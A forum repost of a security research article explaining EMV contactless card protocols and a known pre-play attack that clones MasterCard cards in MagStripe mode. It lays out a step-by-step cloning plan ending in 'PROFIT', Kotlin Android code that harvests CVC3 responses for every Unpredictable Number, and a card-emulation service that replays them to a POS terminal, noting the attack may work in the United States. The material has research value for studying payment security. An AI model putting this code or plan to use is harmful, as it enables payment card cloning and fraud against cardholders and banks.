Cloning a contactless card using a mobile application

Lord777

Professional
Messages
2,581
Reputation
15
Reaction score
1,322
Points
113
It's always been interesting to see what's going on with a bank card under the hood. How the bank card and POS terminal communication protocol is implemented, how it works, and how secure it is. This opportunity presented itself to me when I was doing an internship at a Digital Security company. As a result, when analyzing one known vulnerability of EMV cards in MagStripe mode, it was decided to implement a mobile application that can communicate with the terminal via a contactless interface, using its own commands and detailed analysis of requests and responses. You can also try implementing a method for cloning MasterCard cards in MagStripe mode.

In this article, I will try to describe what an EMV card is, how it works, and how you can try to clone your MasterCard card using Android.

«There are some things money can't buy. For everything else, there's MasterCard»

What is an EMV card?​


EMV is an international standard for bank cards with a chip. E uropay + M MasterCard + V ISA took part in the development of this standard, hence the name. Let's try to figure out how the card communicates with the POS terminal via the contactless interface.
Let's start with the basics.

A contactless EMV card works almost exactly the same as an RFID tag on the physical level. If it is basic, then the chip gets into an electromagnetic field, and in a closed conducting loop (in our case, it will be an antenna located around the perimeter), placed in an alternating magnetic field, an alternating electric current is formed. This current charges a special capacitor connected in parallel to the resonant circuit of the card. The energy stored in the capacitor is used to perform various operations on the card chip. When the reader changes the electromagnetic field, the changes will be immediately noticeable on the chip. Using signal modulation, we can transmit information in binary form. If you connect a load resistance on the card and or change the capacitance of the capacitor, you can change the current in the card circuit, which will change the electromagnetic field created by it in the area of the reader circuit, so the card transmits data. The reader will only need to detect these changes. Such physical interaction is regulated by the ISO/IEC 14443 “Identification Cards — Contactless integrated circuit(s) cards — Proximity cards”standard.

The card chip itself is a smart card that runs JavaCard, a separate version of Java for platforms with low computing resources and support for cryptographic algorithms. JavaCard loads applets, which are actually applications. There is also GlobalPlatform, a standard for JavaCard that provides the ability to securely manage data on the card and allows you to download, modify, and delete applications on the card. In this article, we will not consider the security mechanisms of the smart card itself. It is enough to know that protected data, such as the private key and secret master key of the card, are located in a secure place and cannot be extracted by standard means.

I will also remind you of a little terminology, for those who are not familiar.

POS — terminal (Point of Sale) - the seller's device that reads the card and initiates the payment. From now on, we will simply call this device a terminal.
The issuing bank is the bank that issued your card.
Acquirer Bank — a bank that issues POS terminals to merchants and processes payments from them.
The payment system is the central link between the acquiring bank and the issuing bank. Absolutely all payments pass through it, and it knows which bank should transfer money and how much. There are quite a few payment systems in the world, in addition to the well-known Visa and MasterCard, there are also American Express, China UnionPay and the Russian MIR payment system.

OK, the card and reader can communicate. They send APDU commands to each other in the form of Tag-Length-Value, i.e. the name of the tag is passed in hexadecimal, its length, and the value itself. All commands are described of course in the documentation and look something like this:

knnetjhcx4h0rd7xijgzyv5goye.png


A standard EMV transaction takes place in several stages. I will describe the full interaction algorithm in the case of a contact interface. For a contactless interface, the algorithm is somewhat shortened:
  • Selecting an app;
  • Initializing application processing;
  • Reading app data;
  • Offline authentication;
  • Handling restrictions;
  • Checking the cardholder;
  • Risk management on the terminal side;
  • Analysis of terminal actions;
  • Risk management on the bank card side;
  • Analysis of card actions;
  • On-line processing;
  • Completion of the operation.

0yscrdsiso65ccn0arqjwxc4joe.png


Let's briefly review each operation.

Selecting an app. It often happens that there may be several apps on the same card. For example, a bank card and a travel ticket. And the terminal somehow needs to figure out where and what algorithm to use. To select an application, so – called Application Identification Codes (Application Identifier-AID) are used. To understand this, the terminal sends the SELECT command. For example, the AID of a Visa Classic card will look like this: A0000000031010. If you receive several such codes in response and the terminal is able to work with several applications, the terminal displays a list and prompts you to select the application you need. If the terminal does not support any of the application codes, the operation will be rejected by the terminal.

Initializing application processing. Here, the geographical location of your stay is first checked. For example, Maestro Momentum cards can only work for payments in Russia. This stage is designed to provide issuers with the opportunity to apply existing online risk management methods when conducting offline operations. At this stage, the EMV transaction can be canceled at the initiative of the card itself, if this type of operation is prohibited in this country of the world by the issuer. Next, the card sends the terminal a set of specially structured information containing a description of the card's functionality and the application.

Reading app data. The terminal receives various card data required for a transaction, such as the card number, expiration date, transaction counter, and many other data. Some of them will be discussed later.

Sample data:

qqaf8ualsk94r5lgoqqz9gupznc.png


The certificate of the public key of the issuing bank and the card itself is also transmitted. In order for the terminal to be able to verify the digital signature of some card data, the PKI infrastructure (Public Key Infrastructure) is used. In short, the payment system has a pair of keys — public and private, and the payment system is a CA (Center Authority) for all participants. In fact, the payment system issues a new key pair for each issuing bank, and at the same time generates a certificate of the issuing bank's public key, signing it with the private CA key. Further, when the bank issues a new card, it generates a key pair for the card accordingly, and also generates a certificate of the card's public key, signing it using the bank's private key. The public key certificate for various payment systems is usually hardwired in the terminals. Thus, when the card transmits the public key certificate of the issuing bank and the certificate of the card itself, the terminal can easily verify the entire chain using the public key of the payment system. Using the payment system's public key, the terminal first verifies the authenticity of the issuing bank's certificate. If it is authentic, then it can be trusted, and now you can use the issuing bank's certificate to verify the certificate of the card itself. For more information, see the article about EMV security.

Offline authentication. The terminal determines the type of supported offline authentication method. There are static (Static Data Authentication – SDA), dynamic (Dynamic Data Authentication – DDA) and combined (Combined Data Authentication – CDA). These methods are also built on the basis of PKI. SDA is just signed data on the private key of the issuing bank, the DDA terminal sends some random number and the card must sign it using its own private key, and the terminal will verify this signature using the card certificate received earlier, so the terminal will make sure that the card really has a private key-therefore it is authentic. CDA is just a combination of both ways.

Processing restrictions. Here, the terminal checks the previously received data from the card for the condition of suitability for this operation. For example, it checks the Application Expiration Date (Tag '5F24') and Application Effective Date (Tag '5F25'). The app version is also checked. The results of operations performed at this stage are also recorded in the TVR (Terminal verification results) report. Based on the results of this stage, the transaction cannot be canceled, even if, for example, the application has expired.

Checking the cardholder. Verification of the cardholder is performed in order to authenticate the person who provided the card and check whether he is the real owner of the card. The EMV standard provides various methods for cardholder verification (Cardholder Verification Method). Verification methods are defined both on the terminal and on the card. They are contained in so-called CVM lists. During execution, the terminal and the card compare the received CVM sheets and select a common verification method.

List of supported verification methods:
  • No CVM required (‘011111’b);
  • Fail CVM processing (‘000000’b);
  • Signature (‘011110’b);
  • Enciphered PIN verified online (‘000010’b);
  • Plaintext PIN verification performed by ICC (‘000001’b);
  • Plaintext PIN verification performed by ICC and signature (‘000011’b);
  • Enciphered PIN verification performed by ICC (‘000100’b);
  • Enciphered PIN verifi cation performed by ICC and signature (‘000101’b).

Risk management on the terminal side. At this stage, the terminal performs an internal verification of the transaction parameters based on the risk management settings of the acquiring bank. Risk management procedures can be performed by the terminal at any time between the completion of the card data reading process and the generation of the first GENERATE AC command by the terminal. Risk management on the terminal side includes three mechanisms:
  • control of the size of operations performed on the card (Floor Limit Checking);
  • random Transaction selection for online authorization of this transaction by the issuer (Random Transaction Selection);
  • checking offline card usage activity (Velocity Checking).

Analysis of terminal actions. At this stage, the terminal analyzes the results of previous transaction steps. Based on the analysis results, the terminal decides whether to perform the operation in online mode, allow it to be performed offline, or reject the operation.

Risk management on the card side. The card, after receiving data related to the transaction, the terminal, and the results of terminal checks from the GENERATE AC command, in turn performs its own risk management procedures and makes its own decision on the method of completing the operation.

Analysis of card actions. At this stage, the card completes the risk management procedures and generates a response cryptogram to the terminal. If the card decides to approve a transaction, a Transaction Certificate is generated. If the card decides to perform an operation in real time, it generates an ARQC (Authorization Request Cryptogram). If the card uses alternative authorization methods, then the Application Authorization Referral is used. If the card rejects the transaction, then Application Authentication Cryptogram.

Another ARPC (Authorization Response Cryptogram) cryptogram is needed to authenticate the issuer. The issuer generates an ARPC cryptogram and sends the cryptogram to the card. If the card confirms the received cryptogram, then the issuer is authenticated by the card.

A little bit about key security and mutual authentication of the card and the issuer from the book by I. M. Goldovsky:
The point of mutual authentication is that the card and terminal authenticate each other using ARQC and ARPC cryptogram authentication. Cryptograms are data generated using a secret key (which is known to the card and the issuing bank), a transaction number, a random number generated by the terminal, and some details of the transaction, terminal, and card. In the case of ARPC, the issuer's authorization response code is also added to the listed data. Without knowledge of the card's secret key to generate a cryptogram, it is impossible to calculate ARQC/ARPC values in the foreseeable future with the current level of technology, and therefore the fact of their successful verification indicates the authenticity of the card and the issuer. Online authentication is the most reliable way to authenticate your card. This is due to the fact that it is performed directly by the issuer, without an intermediary in the form of a terminal. In addition, for online authentication, the 3DES algorithm is used with a temporary key size of 112 bits, the cryptographic strength of which corresponds to the cryptographic strength of the RSA algorithm with the length of the asymmetric key module used for offline authentication of the card application, more than 1700 bits. Using asymmetric keys of this length on a card is still quite rare. Typically, keys with a modulus of 1024, 1152, or 1408 bits are used.

In the end, an online transaction goes through the chain:
Card <--> POS Terminal <--> Acquiring Bank <--> Payment System <--> Issuing Bank.

lgodlo0oz2jbpxbje3o15q9ikgs.jpeg


Cloning a MasterCard card in MagStripe mode​


Let's go directly to the cloning principle. This method of attacking contactless cards was published by two researchers Michael Roland, Josef Langer from the University of Austria. It is based on a general principle called Skimming. This is a scenario in which an attacker steals money from a bank card by reading (copying) information from this card. In general, it is important to keep the PIN code confidential and prevent it from being leaked. But in the method of the Austrian guys, we don't need to know this. Cloning of the payment card is performed successfully for the EMV Contactless Kernel version 2. The version of this protocol supports two modes of operation for contactless cards: EMV protocol (MasterCard PayPass M/Chip) and MagStripe (MasterCard PayPass MagStripe) mode.

MagStripe is a mode that supports magnetic stripe cards. This mode is implemented on MasterCard cards with a contactless interface. MagStripe mode is rather needed for banks that find it difficult to transfer the entire infrastructure to support chip contactless EMV transactions. By the way, Visa cards also have a similar mode of operation — payWave MSD (Magnetic Stripe Data).

The transaction processing process for contactless cards is reduced in comparison with chip cards and usually works in the following mode:
  1. The terminal sends the SELECT PPSE (Proximity Payment System Environment) command. The card sends a list of supported apps.
  2. The terminal sends the SELECT command. Gets the necessary app details in response.
  3. The terminal sends the GET_PROCESSING_OPTIONS command. The card answers what type of authentication it supports and whether the cardholder verification is available there.
  4. The terminal sends the READ_RECORDS command. The card in the response sends Track1 and Track2 almost identical to what is recorded on the card's magnetic stripe.
  5. The terminal sends the COMPUTE_CRYPTOGRAPHIC_CHECKSUM command. Which means that the card should generate the CVC3 value based on the passed Unpredictable Number.

yx4kgocqjxhraaeqz1c4qr4ukpe.jpeg


What does it all look like in real life?
This looks like an APDU command. A list of all tags.

APDU-Application Protocol Data Unit is a symbol for a frame with a card command or card response.

On habré, there are a couple of articles on this topic here and here.

The card supports the special COMPUTE CRYPTOGRAPHIC CHECKSUM command, whose argument is the data defined in the Unpredictable Number Data Object (UDOL). As a result, the card calculates the dynamic CVC3 value (Card Verification Code) using the 3DES algorithm and the secret key. The 3DES function argument uses concatenation of UDOL data and the Application Transaction Counter (ATC). Thus, the value of CVC3 always depends on the UN and ATC objects.

In other words, this command is necessary for the card to generate a certain "signature" so that the issuer can verify the card. However, this signature does not contain the signature of the transaction itself. The signature contains the values ATC-2 bytes, CVC3 (Track1) — 2 bytes, CVC3 (Track2)-2 bytes, which are generated by the card based on the secret key that the issuing bank also knows and the transaction counter (ATC). At the same time, to generate a signature, the POS terminal also tells the card UN (Unpredictable Number) — 4 bytes, which is also used in signature generation. Unpredictable Number prevents the formation of authentication codes on a real card for subsequent use in fraudulent transactions. For an attack, UN greatly hinders us, since it is not possible to iterate over 4 bytes without going beyond the transaction counter. However, there are some weaknesses in the specification of this.

First, the specification restricts UN to the encoding of numbers, namely Binary-Decimal Code (BCD), which essentially means that if we look at such an encoded number in HEX, we will see only the digits from 0 to 9, all other values are considered forbidden. So the number of UN's decreases from 4,294,967,295 to 99,999,999.

Second, the number of significant digits of UN is determined by the card. Thus, depending on the special parameters in tracks, the number of digits in UN can be from 10 to 10000, depending on the card type. In practice, 1000 values are most often found.

So the attack plan looks like this:
  1. We read the card and find out the number of significant digits in UN that the terminal will provide
  2. We iterate over all UNS, get all possible values of the COMPUTE_CRYPTOGRAPHIC_CHECKSUM function, and store them in the corresponding table with the mapping UN - > Result
  3. We bring it to the POS-terminal, find out the number that the POS-terminal asks for.
  4. We select the desired result from the table and substitute it in the response to the terminal.
  5. The transaction goes away.
  6. PROFIT. However, the success of the transaction approval is not guaranteed, since the issuing bank may reject such a transaction.

5qiwuhgbebcdx_0bdzdbrvwmcd0.jpeg


It is also worth noting that the transaction counter (ATC) prevents the reuse of previously used authentication codes, which means that if we used such an attack, then we need to copy the card again, since the transaction counter was already used to obtain information and was used in the signature, which means that if we had a transaction counter of 1000, and after if you send a transaction to the bank, the bank will no longer accept transactions with a counter lower than <1001. In addition, the transaction counter is limited to 2 bytes, which means that we can perform no more than 65 cycles of cloning the card, after which the card will most likely stop working.

In most cases, the transmitted data from the card is static for all transactions. Except for COMPUTE_CRYPTOGRAPHIC_CHECKSUM, of course. To generate dynamic CVC3 code, the card application must be read by the SELECT command, then GET_PROCESSING_OPTIONS, and only then COMPUTE_CRYPTOGRAPHIC_CHECKSUM, and this is quite an important point. These three commands are required for CVC3 generation. According to the experiment, using just these three commands, it took only one minute to iterate through 1000 values on the Google Galaxy Nexus S.

To work with the terminal and card, we used the Terminal Simulator program from MasterCard. It works perfectly with various NFC readers and smart card readers. In addition, it is absolutely free. It allows you to test cards with various POS terminal settings and keeps a detailed log of all requests from the terminal and the card's responses. You can also use it to test an app on your phone that works in card mode.

ifcwkapz8euoz-fdb9hnmbedigq.png


An ACR122 NFC reader was used to read the card.

kx75q8xlkxsg3q3hodn9h1yze2o.jpeg


Now let's try to convert all this to code. The app will be written in Kotlin for Android. First, let's try to describe the overall team structure.

Code:
data class Command(
        var CLA: String = 0x00.toString(),
        var INS: String = 0x00.toString(), 
        var P1: String = "", 
        var P2: String = "",
        var Lc: String = "",
        var Nc: String = "",
        var Le: String = "", 
        var Nr: String = "", 
        var SW1WS2: String = "" 
) {
    fun split(): ByteArray {
        return getHexString().hexToByteArray()
    }
 
    fun getHexString() = CLA.plus(INS).plus(P1).plus(P2).plus(Lc).plus(Nc).plus(Le).plus(Nr).plus(SW1WS2)
}

First, we need to set up work with NFC. We can work in two modes on your phone. In card mode, this is when we respond to commands from the terminal, and in terminal mode, when we send commands and read, for example, cards.That is, first we can clone the card, and then make sure that we respond to requests from the terminal with already prepared commands.

Further simplified implementation of interaction with NFC:

Code:
private var nfcAdapter: NfcAdapter? = null                                                  /*!< represents the local NFC adapter */
    private var tag: Tag? = null  /*!< represents an NFC tag that has been discovered */
    private lateinit var tagcomm: IsoDep  /*!< provides access to ISO-DEP (ISO 14443-4) */
    private val nfctechfilter = arrayOf(arrayOf(NfcA::class.java.name))      /*!<  NFC tech lists */
    private var nfcintent: PendingIntent? = null
....
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)
        nfcAdapter = NfcAdapter.getDefaultAdapter(this)
        nfcintent = PendingIntent.getActivity(this, 0, Intent(this, javaClass).addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0)
        cardEmulation = CardEmulation.getInstance(nfcAdapter)
        nfcAdapter?.enableForegroundDispatch(this, nfcintent, null, nfctechfilter)
    }
 
....
   override fun onNewIntent(intent: Intent) {
            super.onNewIntent(intent)
            tag = intent.getParcelableExtra(NfcAdapter.EXTRA_TAG)
            cardReading(tag)
    }
.....
    override fun onResume() {
        super.onResume()
        if (canSetPreferredCardEmulationService()) {
            this.cardEmulation?.setPreferredService(this, ComponentName(this, "com.nooan.cardpaypasspass.NfcService"));
        }
    }
 
    override fun onPause() {
        if (canSetPreferredCardEmulationService()) {
            this.cardEmulation?.unsetPreferredService(this)
        }
        super.onPause()
    }
   private fun cardReading(tag: Tag?) {
        tagcomm = IsoDep.get(tag)
        try {
            tagcomm.connect()
        } catch (e: IOException) {
            error = "Reading card data ... Error tagcomm: " + e.message
            Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show()
            return
        }
 
        try {
            when {
                commands != null -> readCardWithOurCommands()
                mChip -> readCardMChip()
                else -> readCardMagStripe()
            }
        } catch (e: IOException) {
            error = "Reading card data ... Error tranceive: " + e.message
            Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show()
            return
        } finally {
            tagcomm.close()
        }
    }
    protected fun execute(command: Command, log:Boolean): ByteArray {
            val bytes = command.split()
            listLogs.add(bytes.toHex())
            val recv = tagcomm.transceive(bytes)
            listLogs.add(recv.toHex())
            return recv
    }

Here we describe the sequence of commands and iterate through the values of Unpredictable Number in a loop from 0 to 999. In the command we need, we change Nc to " 00000${String. format ("%03d", i)}". replace ("..(?!$)".toRegex(), "$0 "). And don't forget to run GET_PROCESSING_OPTIONS every time before COMPUTE_CRYPTOGRAPHIC_CHECKSUM, otherwise the check amount will not be counted.

As a result, all this can be written to a file and used when working with a real terminal. Here we also get the Name and Number of the card, and we can display it on the screen.

Code:
private fun readCardMagStripe() {
        try {
            var response = execute(Commands.SELECT_PPSE)
 
             // На основе предыдущего запроса формируем новый
            val select = Commands.SELECT_APPLICATION.apply {
                Nc = response.toHex().substring(52, 68)
                SW1WS2 = "00"
            }
            val cardtype: String = getTypeCard(select.split())
                execute(select)
            
                execute(Commands.GET_PROCESSING_OPTIONS)
                response = execute(Commands.READ_RECORD_1.apply {
                    P2 = "0C"
                    Lc = "00"
                    Le = ""
                    Nc = ""
            })
 
            if (cardtype === "MasterCard") {
 
                cardnumber = "Card number: ${response.getCards()}"
                cardexpiration = "Card expiration: ${response.getExpired()}"
 
                showData()
 
                for (i in 0..999) {
                    execute(Commands.GET_PROCESSING_OPTIONS, false)
                    execute(Commands.COMPUTE_CRYPTOGRAPHIC_CHECKSUM.apply {
                        Lc = "04"
                        Nc = "00000${String.format("%03d", i)}".replace("..(?!$)".toRegex(), "$0 ")
                    })
                }
            }
            finishRead()
}


A set of commands that we need.

Code:
object Commands {
    val SELECT_PPSE = Command(CLA = "00", INS = "A4", P1 = "04", P2 = "00", Lc = "0E", Nc = "32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00")
 
    val SELECT_APPLICATION = Command(CLA = "00", INS = "A4", P1 = "04", P2 = "00", Nc = "07")
 
    val GET_PROCESSING_OPTIONS = Command(CLA = "80", INS = "A8", P1 = "00", P2 = "00", Lc = "02", Nc = "83 00", Le = "00")
 
    val READ_RECORD_1 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "14", Lc = "00", Le = "00")
 
    val READ_RECORD_2 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "1C", Lc = "00", Le = "00")
 
    val READ_RECORD_3 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "24", Lc = "00", Le = "00")
 
    val READ_RECORD_4 = Command(CLA = "00", INS = "B2", P1 = "02", P2 = "24", Lc = "00", Le = "00")
 
    val COMPUTE_CRYPTOGRAPHIC_CHECKSUM = Command(CLA = "80", INS = "2A", P1 = "8E", P2 = "80", Le = "00")
}

To implement listening for commands from the terminal, you need to start your service and declare it in the manifest. In this service, processCommandApdu receives a command from the terminal, we compare it with the one that we have stored in the file, and give the response, which is written in the following line.

Code:
<service
            android:name=".NfcService"
android:exported="true"
android:permission="android.permission.BIND_NFC_SERVICE">
            <intent-filter>
                <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE" />
                <category android:name="android.intent.category.DEFAULT" />
            </intent-filter>
            <meta-data
                android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/apdu_config" />
        </service>


class NfcService : HostApduService() {
 
    fun getData(context: Context?): List<Command> {
        var list: List<Command> = arrayListOf()
        filePath?.let {
            if (it.isNotBlank()) {
                list = getCommands(Uri.fromFile(File(it)).readTextFromUri(context), this::showError)
            } else {
                Toast.makeText(applicationContext, "Not found file path", Toast.LENGTH_SHORT).show()
            }
        }
        return list
    }
 
 
    private var commands: List<Command>? = arrayListOf()
 
    override fun processCommandApdu(apdu: ByteArray?, bundle: Bundle?): ByteArray {
commands = getData(applicationContext)
        commands?.forEachIndexed { i, command ->
            if (apdu.toHex() == command.getHexString()) {
                     return commands!![i+1].split()
            }
        }
        Log.e("LOG", "Finnish")
        return Value.magStripModeEmulated.hexToByteArray()
}

A couple of screenshots from the app. Reading the card and parsing the log:

0pqtvjicqlg6hh4iorgruoljd_w.png


In this way, you can simulate the operation of a contactless EMV card on your phone with the card data. But fortunately or unfortunately for some, this attack does not work in Russia. In our experiments, the transaction always reached the issuing bank and was rejected by the bank itself. In addition, we were unable to conduct an offline transaction using MagStripe. However, such an attack may well be implemented in other countries where the use of MagStripe mode is quite common and the risk management algorithm is slightly different, for example in the United States.

Links used to create this article​


Bank micro-processor cards / I. M. Goldovsky-Moscow: Tsipsir: Alpina Publ., 2010. - 686 p.
EMV project: step-by-step
research of Austrian researchers
Link to application code
Terminal Simulator.

(c) https://habr.com/ru/companies/dsec/articles/421543/
 
Top